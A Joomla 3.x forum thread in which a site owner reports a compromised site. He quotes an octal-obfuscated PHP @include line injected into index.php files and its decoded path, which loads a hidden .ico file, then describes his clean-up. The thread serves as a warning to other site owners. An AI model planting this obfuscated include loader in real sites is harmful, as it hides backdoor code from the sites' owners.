Joomla\CMS\Cache\CacheController not found

Discussion regarding Joomla! 3.x security issues.

Moderators: Bernard T, mandville, fcoulter, PhilD, General Support Moderators

Forum rules
Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Forum Post Assistant / FPA - If you are serious about wanting help, you will use this tool to help you post.
Post Reply
tayling
Joomla! Apprentice
Joomla! Apprentice
Posts: 8
Joined: Thu Apr 28, 2016 1:38 am

Joomla\CMS\Cache\CacheController not found

Post by tayling » Tue May 14, 2019 11:10 pm

Hi
following my issue with Joomla\CMS\Cache\CacheController not found an finding it had been deleted, I have investigated the site files.

Firstly by copying the file form a previous backup solved the issue.

On doing a file comparison on the site files between pre and post restore sites, there are many files of different sizes - still investigating.

The main find is in several index.php files:
/26ce1 /

@include "\057hom\145/tw\157for\164her\157ad/\160ubl\151c_h\164ml/\154ibr\141rie\163/le\147acy\057log\057.ef\070093\061a.i\143o";

/26ce1 /

I used https://malwaredecoder.com/ to decypher an got

@include "/home/twofortheroad/public_html/libraries/legacy/log/.ef80931a.ico";

If you try to edit that file - you get an include that I cannot decipher - I dont think it is an icon.

Testing the site for virus or malaware finds nothing but this definitley looks suspicious.

I would be keen to hear if anyone else has found this an also issuing a warning of its existence.
I am continuing the comparison of sites but beleive I will reinstall a clean Joomla and rebuild

Thanks
Tony Ayling

tayling
Joomla! Apprentice
Joomla! Apprentice
Posts: 8
Joined: Thu Apr 28, 2016 1:38 am

Re: Joomla\CMS\Cache\CacheController not found

Post by tayling » Tue May 14, 2019 11:41 pm

Update
I have found this is probably NOT a Joomla issue as it appears in other Non Joomla related index.php files although the ico pointer is always a Joomla folder.

Further in Dreamweaver the phrase of partial phrase cannot be found in search - even though I can plainly see it.

Thanks

Tony

tayling
Joomla! Apprentice
Joomla! Apprentice
Posts: 8
Joined: Thu Apr 28, 2016 1:38 am

Re: Joomla\CMS\Cache\CacheController not found

Post by tayling » Wed May 15, 2019 12:22 am

Here is a good description of the issue and shows it is not a Joomla issue so I will post no more but hope it serves as a warning and help to others

https://rankinstudio.com/Drupal_ico_index_hack

Cheers

Tony

tayling
Joomla! Apprentice
Joomla! Apprentice
Posts: 8
Joined: Thu Apr 28, 2016 1:38 am

Re: Joomla\CMS\Cache\CacheController not found

Post by tayling » Wed May 15, 2019 1:11 am

I know I said I wouln't post again but just thought I would add that I followed the advice in the last link

deleted ALL files starting .*.ico
deleted ALL index files

copied over a Joomla upgrade 3.95-3.96

All is running OK
Cheers
Tony


Post Reply

Return to “Security in Joomla! 3.x”